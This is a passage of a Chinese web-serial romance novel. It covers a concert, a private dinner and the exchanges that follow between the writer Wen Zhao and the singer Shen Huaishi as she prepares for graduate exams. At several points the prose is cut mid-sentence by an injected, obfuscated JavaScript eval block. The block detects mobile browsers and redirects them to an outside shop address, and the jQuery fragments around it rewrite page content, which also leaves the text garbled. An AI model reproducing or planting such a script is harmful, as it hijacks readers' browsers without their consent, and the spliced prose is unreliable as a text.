晚上,三人简单吃了饭,宋枝兴致勃勃地拿出准备好的应援手幅和荧光棒,拉着闻朝和陆易安演练。“到时候我们这个区域,肯定要统一应援!口号我都想好了!……” 闻朝心不在焉地听着,目光偶尔飘向窗外。北京的夜空不如大理澄澈,霓虹将天际染成一片模糊的暖红色。这座城市,因为一个人的存在,忽然变得熟悉又陌生,亲近又充满距离感。 陆易安注意到她的走神,轻轻碰了碰她的手,“别紧张。顺其自然。” 闻朝点了点头,深吸一口气,试图将那些纷乱的思绪压下去。 九月二十一日,在辗转反侧和迷迷糊糊的浅眠中,到来了。 白天,宋枝拉着她们去场馆附近转了转,提前熟悉地形。看着那座宏伟的、已经有不少粉丝聚集在场馆外拍照打卡的建筑,闻朝的心跳又开始不受控制地加速。 巨大的演唱会海报悬挂在入口处,沈淮时的身影占据了大半版面,眼神锐利,气场强大。那是在舞台上、镜头前的他,是无数人仰望的“沈淮时”。而今晚,她将同时看到那个“沈淮时”,和……或许有机会短暂触碰到的,另一个更私下的他。 傍晚,她们提前吃了简餐,回到酒店换衣服、化妆。宋枝手法熟练,给自己化了个精致的舞台妆,又想来帮闻朝,被闻朝坚决拒绝了。“我就简单涂个口红就好。”她看着镜子里穿着米白色连衣裙、长发披肩的自己,感觉既熟悉又陌生。 “也行,你皮肤好,淡妆反而显气质。”宋枝退而求其次,给她挑了一支颜色温柔的豆沙色口红。 陆易安则依旧是白衬衫搭配牛仔裤,干净利落,只在手腕上戴了块简约的手表。“走吧。”她看了看时间。 打车前往场馆的路上,越靠近,车辆越多,人流越密集。随处可见拿着荧光棒、穿着应援色衣服的年轻女孩,空气中弥漫着兴奋与期待。 宋枝扒着车窗,兴奋地指指点点。陆易安静静地看着窗外。闻朝则一直攥着手里那个小小的手包,里面装着门票和那张黑色的凭证卡片,指尖微微出汗。 排队,安检,入场。 巨大的声浪和炫目的灯光瞬间将她们吞没。内场的气氛比看台上更加炽热,粉丝的尖叫几乎要掀翻屋顶。 闻朝按照票上的指引,找到了她们的座位。B区15排18座,宋枝在她左手边14排19座,陆易安的A区座位在更前面一些。 坐下后,宋枝立刻进入状态,挥舞着荧光棒,跟着周围的粉丝一起呼喊。陆易安也难得地露出了放松的表情,目光投向尚未亮起的主舞台。 闻朝却有些怔忡。她环顾四周,满眼都是激动的、洋溢着热爱与快乐的面孔。这就是他的世界,被无数人真心爱着、追逐着的世界。而她,此刻正身处其中,以一个“观众”的身份。 灯光骤然暗下。 沈淮时的声音响起,一如既往地温和,带着点不易察觉的欣喜,他说:“欢迎来到‘回响’。” 听到他的声音,全场瞬间爆发出山呼海啸般的尖叫。 “沈淮时!沈淮时!” “从始至终,唯爱沈淮时!” 响亮的呐喊瞬间席卷整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这场演唱会,和上次他的第一次个人演唱会,足足隔了六年。 他在等待,她们也在等待。 “感谢大家对我的支持和喜欢,也感谢大家陪我走了一年又一年,” 大屏幕上的他,眼眶微红,可眼中闪着的光,比台下的灯海还要耀眼。 他扬起唇,语气认真, “谢谢你们,来听我的演唱会。也谢谢你们始终如一的喜欢。演唱会结束了,大家回去的路上,注意安全。” 最后,他深深地鞠了躬,声音响彻在整个场馆,“我们,下次见。” 大屏幕暗下,演唱会正式结束。 台下依旧响起全场整齐呐喊的声音: “沈淮时,下次见!” “从始至终,唯爱沈淮时!” “沈淮时,生日快乐!” …… 人群开始有序退场,但兴奋的议论声和哭泣声依旧不绝于耳。 “太棒了!太值了!”宋枝一把抱住闻朝,眼眶也是红的,“他最后那段话,我差点哭崩!” 陆易安也走了过来,眼睛亮亮的,显然也被气氛感染,“很棒的演出。” “我们现在……去后台吗?”宋枝激动过后,看向闻朝,声音压低,带着点小心翼翼和雀跃。 闻朝握紧了手包,点了点头。“嗯。” 按照票务信息和黑色凭证上的提示,她们没有跟随人流走向出口,而是绕到了场馆侧面一个相对僻静的通道口。 那里有工作人员值守,闻朝出示了那张黑色卡片和身份证,工作人员仔细核对后,礼貌地示意她们稍等,然后用对讲机说了些什么。 等待的时间并不长,但对闻朝来说,每一秒都格外漫长。通道里很安静,能隐约听到外面散场人群的喧闹,但更清晰的是她自己越来越响的心跳声。 几分钟后,许安从里面快步走了出来。他见到闻朝三人,脸上露出笑容,态度熟稔,“闻小姐,宋小姐,陆小姐,这边请。老板还在卸妆换衣服,让我先带你们去休息室稍等。” 他领着她们穿过几条安静的走廊,来到一间宽敞的休息室。里面已经准备好了水果、饮料和小点心。 空气里还残留着一丝淡淡的汗水和化妆品混合的气味,以及一种演出刚刚结束后的、奇异的疲惫与兴奋交织的氛围。 “你们先坐,老板马上就好。”许安给她们倒了水,又转身出去了。 51. 你们能来,我很高兴 休息室里只剩下她们三个。宋枝好奇地打量着四周,想拍照又不敢,只好小声跟陆易安嘀咕。 闻朝坐在沙发里,背脊挺得笔直,手指无意识地绞在一起。 刚才在场内的激动和感伤已经平复,取而代之的是一种更尖锐的紧张。她就要见到他了。卸下舞台光环,刚刚结束一场高强度演出的他。他们要对彼此说什么?今晚的一切,又会导向怎样的结局? 时间一分一秒地过去。 终于,休息室的门被推开。 沈淮时走了进来。 他换了一身简单的黑色T恤和灰色运动长裤,头发还有些湿,随意地搭在额前,脸上干干净净,没有任何妆容,露出原本的肤色和略显疲惫却异常清亮的眉眼。 没有了舞台上华丽的服饰和精致的造型,他看起来比屏幕上更瘦,也更真实,像一个刚刚结束一场重要比赛、还带着一身热汗与兴奋的运动员。 他的目光在室内扫过,先是落在了闻朝身上。 那一瞬间,闻朝清晰地看到,他眼中那层属于“舞台沈淮时”的、灼热而明亮的光,迅速褪去,换成了另一种更柔和、更专注,甚至带着一丝如释重负般轻松的笑意。 那笑意直达眼底,让他整个人看起来有一种笨拙的温柔。 “来了?”他开口,声音果然比台上更沙哑些,却异常温和。他先是对着宋枝和陆易安点了点头,“宋小姐,陆小姐,谢谢你们能来。” 宋枝立刻摆手,激动得有点语无伦次,“不不不,是我们谢谢你!演唱会太棒了!真的!我们三都抢到票了!太幸运了!” 陆易安也微笑道:“演出非常精彩,辛苦了。” 沈淮时笑了笑,目光再次回到闻朝脸上,向前走了两步,在她面前的单人沙发坐下,隔着一个茶几的距离。 他没有刻意靠近,但这个距离已经足够近,近到闻朝能闻到他身上淡淡的、清爽的沐浴露香气,混杂着一丝未散的、属于舞台的荷尔蒙气息。 “路上还顺利吗?”他看着她,很平常地问候,仿佛他们只是几天没见。 “……顺利。”闻朝听到自己的声音有点干,她清了清嗓子,“演唱会……很成功。恭喜你。” “谢谢。”沈淮时端起许安刚才倒好的温水,喝了一口,喉结滚动,“你们能来,我很高兴。” 他说这话时,眼睛看着闻朝,语气里的那份“高兴”清晰可辨,不像是客套。 宋枝在旁边,看看沈淮时,又看看闻朝,眼里闪着兴奋又八卦的光,嘴角都快咧到耳后根了,被陆易安在桌子底下轻轻踢了一脚,才勉强收敛。 简单的寒暄过后,许安适时地询问是否现在去用餐。沈淮时征询地看向闻朝三人。 “我都行,看你们。”闻朝说。 “我也都行!”宋枝立刻附和。 陆易安点了点头。 “那走吧,地方不远,车就在外面。”沈淮时站起身。 一行人低调地从场馆的特殊通道离开,坐上了一辆看起来毫不起眼的黑色商务车。车子驶离依旧热闹的场馆区域,汇入北京夜晚的车流。 车内很安静。沈淮时坐在副驾驶,闻朝三人坐在后排。宋枝起初还有些拘谨,但很快就被窗外流光溢彩的夜景吸引,小声和陆易安讨论着。 闻朝则一直望着窗外,看着霓虹灯影飞快地掠过车窗,心里那根紧绷的弦,在这样安静而密闭的空间里,非但没有放松,反而越绷越紧。 她能感觉到,前排副驾驶座上,沈淮时偶尔从后视镜里投来的目光。很轻,很快,但存在感十足。 车子最终停在一条僻静的胡同口。许安先下车,低声和沈淮时说了几句。沈淮时点点头,转身对后座的三人说:“到了,里面车进不去,我们走几步。” 这是一家藏在胡同深处的小院私房菜,门脸极其低调,若不是沈淮时带路,外人很难发现。 推开厚重的木门,里面却别有洞天。庭院深深,竹影婆娑,只有几间安静的包间,灯光暖黄,环境雅致私密。 显然,沈淮时是这里的常客。老板是个气质儒雅的中年男人,见到他们只是微笑着点了点头,没有多余寒暄,直接引他们进了最里面一间临着小池塘的包间。 包间不大,一张方桌,六张椅子,布置得古色古香。桌上已经摆好了几碟精致的凉菜。 “坐。”沈淮时很自然地替闻朝拉开了椅子,然后自己在她斜对面的位置坐下。宋枝和陆易安坐在另一边,许安则在门口的位置落座,既能随时照应,又不会打扰他们。 老板亲自进来倒了茶,问了几句忌口,便安静地退了出去,带上了门。 包间里彻底安静下来。只有窗外隐约的虫鸣,和池塘里细微的水流声。 刚才在场馆后台的短暂寒暄过后,此刻真正坐下来,面对面,那股微妙的、无处着落的安静再次弥漫开来。 演唱会带来的集体亢奋已经彻底褪去,这里是完全私人的空间,是“夜宵之约”的核心。 闻朝垂下眼,看着杯中澄澈的茶汤,里面倒映着暖黄的灯光,也倒映出她自己有些无措的脸。 “这里的菜比较清淡,但味道还不错,不知道合不合你们口味。”沈淮时先开口,打破了沉默。他拿起茶壶,很自然地给闻朝添了茶,然后又给宋枝和陆易安添上。 “我们不挑食,都行。”宋枝连忙说,眼睛却忍不住在沈淮时和闻朝之间瞟来瞟去。 陆易安也道了谢。 热菜开始一道道上桌。确实如沈淮时所说,口味清淡雅致,食材新鲜,烹饪得恰到好处。 席间,话题主要围绕着刚刚结束的演唱会。宋枝化身好奇宝宝,问了很多关于舞台设计、选曲、排练的趣事,沈淮时都耐心地一一回答,语气平和,没有丝毫架子。 陆易安偶尔也会问一两个关于音乐制作或现场调度的问题。 闻朝大部分时间只是安静地听着,偶尔在沈淮时的目光转向她时,才会简短地说一两句。 她的目光大多数时候落在桌上的菜肴,或者自己面前的碗碟上,只有在他说话时,才会悄然抬眼,飞快地瞥他一眼,然后又迅速垂下。 她能感觉到,沈淮时虽然一直在和宋枝、陆易安交谈,但他的注意力,始终有一部分是落在她身上的。 那是一种无声的、却异常清晰的关注。他会在她茶杯空了的时候,很自然地拿起茶壶添上;会在她多夹了某道菜一筷子后,低声跟老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354607|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板说这道菜可以再加一份;会在她因为某个话题微微露出笑意时,他眼底的笑意也会随之加深。 这一切都做得极其自然,不着痕迹,却逃不过闻朝敏感的心,也逃不过宋枝雷达般的眼睛。 酒过三巡,但其实只喝了点果汁和茶,但是气氛比刚开始时松弛了许多。宋枝的胆子也大了起来,她看着沈淮时,又看看闻朝,忽然清了清嗓子,问出了一个让闻朝瞬间僵住的问题: “沈老师,我有个问题特别好奇……就是,那天在大理,你怎么就那么巧,也去了那家书店啊?还一眼就认出了朝朝?” 包间里的空气,因为宋枝这个猝不及防的问题,骤然安静了一瞬。 闻朝握着筷子的手僵在半空,指尖微微发白。她感到脸上迅速升温,不用看也知道肯定红了。她飞快地瞪了宋枝一眼,宋枝却眨巴着眼睛,一脸无辜又求知若渴的样子。 沈淮时似乎也被这个问题问得愣了一下。他放下手中的茶杯,杯底与桌面接触,发出轻微的“咔哒”声。 他的目光从宋枝兴奋的脸上,缓缓移到闻朝低垂的、几乎要埋进碗里的侧脸上,停顿了几秒。 然后,他低低地笑了一声。那笑声里没有被打探的愠怒,反而带着点无奈,和一丝……坦诚。 “大理那个拍摄,是临时加的行程。”他开口,声音在安静的包间里显得格外清晰,“原本没打算在那里停留太久。结束得早,想着难得去一趟,找个地方随便走走。” 他的语气很平缓,像在讲述一件很平常的事。 “那条巷子很偏,没什么游客。路过那家书店,名字和门面……看着舒服,就推门进去了。”他顿了顿,目光再次掠过闻朝,这次停留的时间稍长了些,“至于认出来……” 他拿起茶杯,又喝了一口,似乎在斟酌词句。 “……大概是,”他放下杯子,手指无意识地在杯壁上轻轻划了一下,视线落在桌面的某一点,语气里有种难以形容的、介于玩笑与认真之间的东西,“那天阳光很好,书店里很安静。那个角落的光线,刚好落在她手里的诗集封面上,还有她……低头看书的侧影。太……‘闻朝’了。” 他用了“太‘闻朝’了”这样的形容,模糊,却又精准地指向了她身上某种独特的、沉静的气质。 “而且,”他抬起眼,看向宋枝,嘴角勾起一个淡淡的、带着点自嘲的弧度,“她那个帆布包,上面有个很特别的、手工缝的渐变蓝小雪花挂件,之前在剧组就见她背过,印象很深。” 闻朝猛地抬起头,撞进他含笑的目光里。她完全没想到,他会注意到那么细微的东西。那个挂件是陆易安很久以前旅行时随手买给她的纪念品,并不起眼。 宋枝“哇哦”了一声,眼睛更亮了,显然对这个答案非常满意。陆易安也微微挑了挑眉,看了闻朝一眼,那眼神里带着了然的笑意。 闻朝的脸更烫了,几乎能感觉到热气蒸腾上来。她不知道该说什么,只好低下头,假装专心致志地研究碗里最后一颗米饭。 这个话题似乎就这样被轻轻揭过,沈淮时没有再深入,转而问起她们接下来的安排,宋枝立刻接上话头,说起了自己和陆易安还要赶回去备考、实习的苦逼日程。 52. 谢谢你来听我的演唱会 夜宵在一种松弛又微妙的氛围中接近尾声。老板进来添了茶,又安静地退出去。 沈淮时看了看时间,对闻朝说:“你们明天什么安排?住的地方远吗?让许安送你们回去。” “不用麻烦,”闻朝连忙说,“我们酒店离这里不远,打车很方便。” “这个点,这边胡同不好打车。”沈淮时语气温和,但带着不容拒绝的坚持,“让许安送吧,安全些。” 宋枝立刻附和:“对对对,送送好!不然我们三个女孩子,这么晚了……” 闻朝不再推辞,点了点头:“……谢谢。” 沈淮时“嗯”了一声,又看向她,目光在她脸上停留片刻,问:“你……准备在北京待几天?” “明天下午的飞机,回郑州。”闻朝说。 沈淮时点了点头,没再多问。他拿起手机,似乎要给许安发信息安排,手指在屏幕上停顿了一下,然后抬起眼,看向闻朝。 “闻朝,”他忽然叫她的名字,声音比刚才低了一些,在安静的包间里格外清晰,“考北大……加油。” 简单的两个字,从他嘴里说出来,带着一种沉甸甸的、心照不宣的分量。他知道这条路不容易,也知道她的坚持。 闻朝心头一暖,那点残存的紧张和羞怯被冲淡了不少。她迎上他的目光,很认真地点了点头,“嗯,我会的。” 他看着她清澈而坚定的眼睛,眼底的笑意深了些,没再说什么,低下头继续发信息。 离开私房菜馆时,夜已经深了。胡同里静悄悄的,只有他们几人的脚步声和远处隐约的车流声。月光和路灯的光晕交织,在青石板上投下斑驳的影子。 许安已经把车开到了胡同口。宋枝和陆易安很识趣地先一步拉开车门,坐进了后排。闻朝落在后面,沈淮时走在她身侧半步远的地方。 闻朝看了看身侧的他,犹豫着不知道是否要把那件礼物送出去。 毕竟,今天,不仅是他的演唱会,也是他的生日。 “嗯?”沈淮时看出来她的不安和犹豫,语气温和,“是有什么话要说吗?” 见他主动开口,闻朝似乎也下定决心,将包里那自己亲手织的围巾拿了出来,轻声说:“今天……是你的生日。” 沈淮时低头看了看她手中的渐变蓝围巾,看得出来,是手工织的。 他接过,才发现围巾尾部还缝着一个小小的‘K’,是他英文名的首字母。 他看了片刻,低低地笑了出声,“谢谢,你……自己织的?” 不知道为什么,闻朝莫名有些脸红,她点了点头,有些不好意思地说:“嗯……织得,不太好,你别介意……” “不会。”沈淮时他抬头看着她,眼中映着胡同口暖黄的光,声音被夜色浸得格外柔和,“我很喜欢。” 围巾的触感温软,针脚细密却并不完美,能看出缝制者的生涩与用心。他将围巾小心叠好,没有立刻戴上,而是珍重地收进臂弯。 “我会好好用的。” 闻朝心头那块悬着的石头终于落下,随之涌起的是更细腻的暖意。她点点头,唇边不自觉地浮起一点笑意。 走到车边,沈淮时替她拉开了副驾驶后面的车门,手掌绅士的附在门框上方。闻朝低声道了谢,弯腰准备上车。 “闻朝。”他又叫了她一声。 闻朝动作一顿,回头看他。 他站在车门边,月光和路灯的光线勾勒出他清隽的轮廓,脸上没有了舞台上的凌厉,也没有了饭桌上的温和笑意,只剩下一种很深的、沉静的专注。 他就那样看着她,看了足足有两三秒钟,那眼神很深,像要望进她心底去。 然后,他很轻地、但清晰地,对她说: “今晚,谢谢你来听我的演唱会。” 顿了顿,他又补充了一句,声音更轻,却带着一种不容错辨的郑重, “也谢谢你……愿意来。” 谢谢你来看我发光发热的时刻。 也谢谢你,愿意走进我光芒背后的、这片私人的、真实的领域。 闻朝听懂了。她的心脏像被一只温柔的手轻轻攥住,酸胀而温暖。所有语言在这一刻都显得苍白。她只是看着他,很用力地点了点头。 然后,她坐进车里。 沈淮时替她关上车门,隔着深色的车窗,对她挥了挥手。 车门关上,将夜晚的凉意隔在外面。宋枝和陆易安已经在后座坐好,见她上来,交换了一个心照不宣的眼神,却默契地没有多问。 他的身影在路灯下显得颀长而清晰,很快随着车子的启动,向后掠去,变小,最终消失在夜色里。 车里很安静。宋枝激动地抓着陆易安的手,想说什么,但看看闻朝有些出神的侧脸,又看看前面开车的许安,最终还是忍住了。 闻朝靠着车窗,手心里仿佛还残留着刚才递出围巾时,指尖与他手心偶然相触的微温。那触感很短暂,却异常清晰。 她闭上眼,脑海里不受控制地回放着今晚的片段:舞台上他光芒万丈的模样,休息室里他卸去光环后带着水汽的眉眼,餐桌上他含笑望过来的目光,还有最后胡同口,他接过围巾时低垂的睫毛和那句“我很喜欢”。 可能是八卦的心太激烈了,宋枝在群里发起了消息:【他看你的眼神……啧啧,简直了。】 透过那行字都足以看得出她的兴奋。 听到宋枝的假咳声,闻朝睁开眼,察觉到口袋里震动的手机,她了然地拿出手机,看了消息。 看到宋枝发的消息,她脸颊不由的红了红,回复:【别瞎说。】 宋枝不服:【我哪有瞎说!易安,你说是不是?】 陆易安很客观:【沈老师今晚确实很周到,也很坦诚。】 她顿了顿,补充了一句:【尤其是关于大理那次偶遇的解释。】 提到这个,闻朝脸上又有些发热。那个“太‘闻朝’了”的形容,还有关于雪花挂件的细节,像羽毛一样轻轻搔刮着她的心。 宋枝感慨:【他居然连你包上的挂件都记得,】 【这观察力,绝了。所以说,哪有什么巧合,都是有心人的刻意安排。】 陆易安拍了拍宋枝的手背,示意她适可而止,然后在群里回复:【别想太多。今晚……就挺好的。回去好好休息,明天还要回去。】 车子在酒店门口停下。许安下车为她们开门,并周到地表示会等她们安全进入大堂再离开。 道别时,闻朝再次向许安道谢。许安只是谦和地笑了笑:“闻小姐客气了,老板交代过的。” “老板”两个字,让闻朝心头又是一动。 回到房间,洗漱完毕,躺在酒店柔软的床上,闻朝却毫无睡意,就在这时,手机又轻轻震动了一下。 她拿起一看,呼吸微微一滞。 沈淮时:【到了?】 很简单的一句问话,却让闻朝的手指微微蜷缩。 她打字回复:【嗯,到了。谢谢你们送我们回来。】 沈淮时:【应该的。】 接着,又是“正在输入…”的提示。 这一次,停顿的时间稍长一些。 沈淮时:【围巾很暖和。颜色很特别。】 闻朝看着这句话,仿佛能看到他此刻或许正拿着那条围巾端详的样子。她抿了抿唇,回复:【你喜欢就好。其实手艺不太好,怕你看不上。】 沈淮时:【怎么会。心意和手艺,都很珍贵。】 他的话总是这样,直接却不逾矩,真诚得让人无法招架。闻朝一时不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358850|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知该如何回复,指尖在手机屏幕上摩挲。 沈淮时似乎也并不急着等她的回复,很快又发来一条:【明天几点的飞机?路上注意安全。备考很辛苦,保重身体。】 很平常的叮嘱,从他那里传来,却带着不一样的分量。 闻朝:【下午两点半。我会的,你也是,刚开完演唱会,好好休息。】 沈淮时:【好。】 对话似乎可以在这里自然结束。但过了一会儿,他的消息又来了。 沈淮时:【今天能见到你们,我很高兴。尤其是你,闻朝。】 这句话来得有些突然,又似乎水到渠成。 闻朝感觉自己的脸颊又开始发烫。她盯着那行字看了许久,才慢慢地、一个字一个字地敲下回复: 【我也很高兴。演唱会很棒,生日快乐。】 这一次,沈淮时回得很快。 沈淮时:【谢谢。这是我收到的最好的生日礼物之一。】 之一。措辞谨慎,留有余地,却已足够表明分量。 闻朝没有再回复,她怕自己再说下去,会泄露太多此刻翻涌的情绪。 屏幕安静下来,聊天定格在这里。她将手机放在胸口,能感觉到心脏一下下有力地撞击着掌心。 第二天,她是被宋枝叫醒的。 “朝朝!起床啦!再不起来赶不上飞机了!” “几点了?”她声音带着刚睡醒的沙哑。 “九点四十了!”宋枝已经穿戴整齐,正忙着往行李箱里塞东西,“我们十一点前必须退房,去机场还得一段时间呢。易安下楼买早餐去了,你快起来洗漱。” 闻朝撑着坐起身,揉了揉发胀的太阳穴。她摸到枕边的手机,按亮屏幕。除了宋枝在她们小群里的几条催命消息和陆易安说去买早餐的通知外,还有一条……来自沈淮时。 发送时间是早上七点半。 沈淮时:【早。休息得好吗?】 简单的问候,却让闻朝瞬间清醒了大半。她坐起身,盯着那行字看了几秒,才回复:【早,休息得还好。你呢?】 消息发出去后,她放下手机去洗漱。等擦着脸从卫生间出来时,手机屏幕亮了一下。 沈淮时:【还行。刚开完全,在去机场的路上。】 他也要离开北京了。闻朝心里闪过一丝说不清是失落还是什么的感觉。她打字:【一路平安。】 沈淮时:【你也是。到郑州了说一声。】 闻朝看着这条消息,指尖在屏幕边缘摩挲。这句话太自然,自然得像某种默许的约定。她回了个“好”字,想了想,又加了一句:【你也注意休息。】 那边没有再回复,大概是已经登机或者忙别的事了。 收拾好行李,陆易安也拎着豆浆油条回来了。三人围在房间的小茶几前吃早餐,宋枝依旧处于兴奋的余波中,叽叽喳喳地回味着昨晚的细节,眼睛亮晶晶地看着闻朝。 “你们看到他最后在车边看朝朝的那个眼神没?我的天,我鸡皮疙瘩都起来了!” “还有那句‘谢谢你愿意来’,救命,太会了吧!” “朝朝,他是不是对你有意思啊?这要没意思我把头拧下来!” 闻朝被她说得耳根发热,用叉子戳着盘子里的煎蛋,“宋枝,你再这样我下次不告诉你了。” “别呀!”宋枝立刻投降,做了个拉链封嘴的动作,“我不说了,不说了。” 陆易安慢条斯理地喝着咖啡,等宋枝闹够了,才开口:“不管怎么样,朝朝,先把考试准备好。其他的……顺其自然。” 闻朝点点头。她知道陆易安说得对。无论沈淮时对她是什么态度,无论昨晚那些微妙的情愫是真是幻,她眼下最重要、最不能动摇的目标,就是考上北大研究生。 53. 骤雪将止 生活似乎一下子从云端跌落,回到了最踏实的土壤上。图书馆,自习室,厚厚的复习资料,日复一日的背诵与刷题。 宋枝和陆易安的到来,为闻朝枯燥无味的生活带来了一些生气。 宋枝结束了医院的实习,把宿舍里能搬的书和“精神食粮”都塞进了行李箱,雄赳赳气昂昂地美其名曰:“战友,来支援前线了”。 陆易安则更简单,论文答辩结束之后,顺理成章地拉着行李箱和闻朝、宋枝汇合。 于是,三个女孩在郑州城东一处安静的居民区租了个三室一厅,正式开启了“考研联盟”的集体生活。 客厅被改造成了巨大的自习室。三张书桌呈“品”字形摆放,靠墙的书架上堆满了专业书籍、真题集和五花八门的参考材料。 空气中弥漫着咖啡、茶以及某种“知识的焦虑”混合的气息。 宋枝学医,书最厚,资料最多,常常一边背“生理生化”一边哀嚎“杀了我吧”。 陆易安学法律,逻辑清晰,情绪最稳,但偶尔也会对着某个复杂案例眉头紧锁。 闻朝考中文,书也不少,但更多时候是沉浸在文字和理论里,安静得像幅画。 她很少再主动想起沈淮时,但生活里,却处处留下了那场“约定”的痕迹。 复习到枯燥时,会想起他说“做任何事,钻到深处都会遇到枯燥期”时的平静。 抬头看到窗外,会想起宋枝那句“你是万古长青的远山”。 甚至在一次模拟考试取得不错的成绩时,心底第一个冒出的念头,竟是想告诉他。 但她没有。她知道,现在不是时候。 时间在笔尖的沙沙声中悄然流逝。秋意渐浓,银杏叶开始泛黄。 偶尔,她也会在新闻推送或社交媒体上,看到沈淮时的消息。他的演唱会巡演还在继续,场场爆满; 他主演的新电影官宣了阵容,又是大制作;他代言的某个奢侈品广告铺满了地铁站…… 他依旧在那个光鲜亮丽、万众瞩目的世界里,稳步前行。 他们像是两条短暂交汇后,又迅速奔向不同方向的轨道。各自繁忙,各自精彩。 十一月底,一个普通的周末下午,闻朝从图书馆出来,天空飘起了今冬第一场细雪。雪花很小,落在地上就化了,空气清冷湿润。 她站在图书馆门口的台阶上,看着漫天飞舞的细小雪花,忽然想起了《骤雪止》的结局,想起了顾嘉言在病床上看着窗外雪花时,那份平静的释然。也想起了……很久以前,沈淮时在高烧中,固执地看着剧本的眼神。 手机在口袋里震动了一下。她拿出来,是一条天气预报的推送,提醒降温降雪,注意保暖。 划掉推送,她点开了微信。置顶的对话框,依旧停留在九月二十二日,她回到郑州后,给他发的一条报平安的消息。他回了一个简单的“好”字。 再往下翻,是“考研先锋队”群里宋枝和陆易安日常的插科打诨和互相打气。 是的,她们的群名又改了。 她看着屏幕,犹豫了几秒,然后点开了那个久未联系的对话框。指尖悬在键盘上方,冰凉的空气让手指有些僵硬。 她慢慢地,一个字一个字地打。 闻朝:【郑州下雪了。很小。】 点击发送。 闻朝握着手机,站在细雪里,并不着急,也不忐忑。她只是安静地等着,看着雪花一片片落在手机屏幕上,又迅速化成小小的水珠。 大约过了两三分钟,手机震动。 沈淮时发来了一张照片。 点开,是窗外的景象。看角度,像是在某个高楼的房间。 玻璃上蒙着一层淡淡的水汽。他用手指在玻璃上,画了一个小小的、简单的雪花图案。 照片下面,跟着一行字。 沈淮时:【北京还没下。不过,快了。】 隔着屏幕,隔着上千公里的距离,透过那层朦胧的水汽和那个孩子气的雪花图案,闻朝仿佛能看见他此刻的样子。 或许也是刚结束工作,独自在房间里,看着窗外的城市,想起了某个关于雪的故事,和某个在远方看雪的人。 她看着那张照片,看着那行字,嘴角不由自主地,轻轻弯了起来。 细雪依旧无声地飘落,落在她的头发上,肩膀上,睫毛上。空气清冷,心底却是一片温润的宁静。 她收起手机,拢了拢围巾,走下台阶,融入了稀疏的人流里。 晚上回到“考研基地”,客厅里灯火通明。 宋枝正对着人体解剖图谱龇牙咧嘴,陆易安戴着降噪耳机,指尖在笔记本电脑上敲得飞快。 听到开门声,宋枝立刻抬起头,眼睛一亮,“朝朝!快来拯救我!颅底这些孔洞我快分不清了!” 闻朝换了鞋,放下书包,走过去看了一眼宋枝面前那令人眼花缭乱的图谱,无奈地笑了笑,“我也不是学医的啊。” “不管!你是我们中最有文化的!快用你的文科生思维帮我编点口诀!”宋枝抱住闻朝的胳膊耍赖。 陆易安摘下半边耳机,凉凉地说:“她最有文化,但文化不在这方面。你还是老老实实背吧。” 三人笑闹一阵,开始各自学习。 书页翻动的声音,笔尖摩擦纸张的沙沙声,还有偶尔宋枝压低声音的哀叹,构成了这间小屋里最寻常也最踏实的背景音。 闻朝摊开自己的复习笔记,目光落在上午在图书馆没看完的一篇文献上,思绪却有一瞬间的飘忽。 她想起那张画着雪花的照片,想起那行“北京还没下。不过,快了。” 备考的日子按部就班,时间在背诵、刷题、模拟考中悄然流逝。 与此同时,电影《骤雪止》的后期制作接近尾声,宣传期开始预热。作为编剧兼原著作者,闻朝的生活除了备考,开始零星地掺入电影相关的事务。 一天傍晚,正在自习室啃专业书的闻朝,接到了导演陈序的电话。 陈导声音一如既往地沉稳有力,带着打磨作品后的满足感,“小闻,剧本和成片我们都反复推敲过了,基础很好。但有些情感层次的转场和细节呈现,我觉得咱们还可以再碰碰,挖得更深一点。另外,上映前的节奏也得定下来了。下周我刚好到郑州附近有个活动,咱们碰个头?叫上淮时,他对他那条人物线也有些想法想交流。咱们开个小范围的创作探讨会,顺便把首映礼的初步方案和路演城市定一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻朝一愣,没想到路演会包含郑州。她下意识看向沈淮时,他正微微颔首,“我同意。郑州很好。”他的语气平静,却让闻朝心头微微一颤。 “那好,郑州站就这么定了。具体行程和活动细节,宣传团队会后续跟进。”陈导一锤定音。 散会时,陈导先一步离开去接另一个电话。茶室里只剩下闻朝和沈淮时。 短暂的沉默后,沈淮时轻声开口:“备考很辛苦吧?黑眼圈有点重。” 闻朝摸了摸眼下,有些不好意思,“还好,节奏习惯了。” “那就好,备考也要照顾好自己。”他轻声说,又看了看表,“不耽误你复习了。郑州路演……”他顿了顿,目光再次落在她脸上,“再见。” “再见。”闻朝听到自己说。 回到家时,宋枝正抱着抱枕在客厅来回踱步,嘴里念念有词背着什么。 见闻朝回来,立刻扑过来:“怎么样怎么样?见到沈大明星了?说什么了?有没有什么突破性进展?” 